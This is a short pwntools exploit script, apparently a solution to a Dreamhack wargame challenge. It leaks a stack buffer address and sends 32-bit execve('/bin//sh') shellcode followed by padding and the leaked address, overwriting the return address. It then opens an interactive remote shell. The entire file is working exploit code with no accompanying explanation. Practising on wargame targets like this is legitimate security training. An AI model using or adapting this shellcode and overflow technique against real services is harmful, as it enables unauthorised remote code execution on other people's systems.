from pwn import *

p = remote("host1.dreamhack.games", 23642)
 
p.recvuntil("buf = (")
 
buf_address = int(p.recv(10), 16)
 
 
code = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
 
# code += "\x80"*106
code += b"A"*106
 
code += p32(buf_address)
 
p.send(code)
 
p.interactive()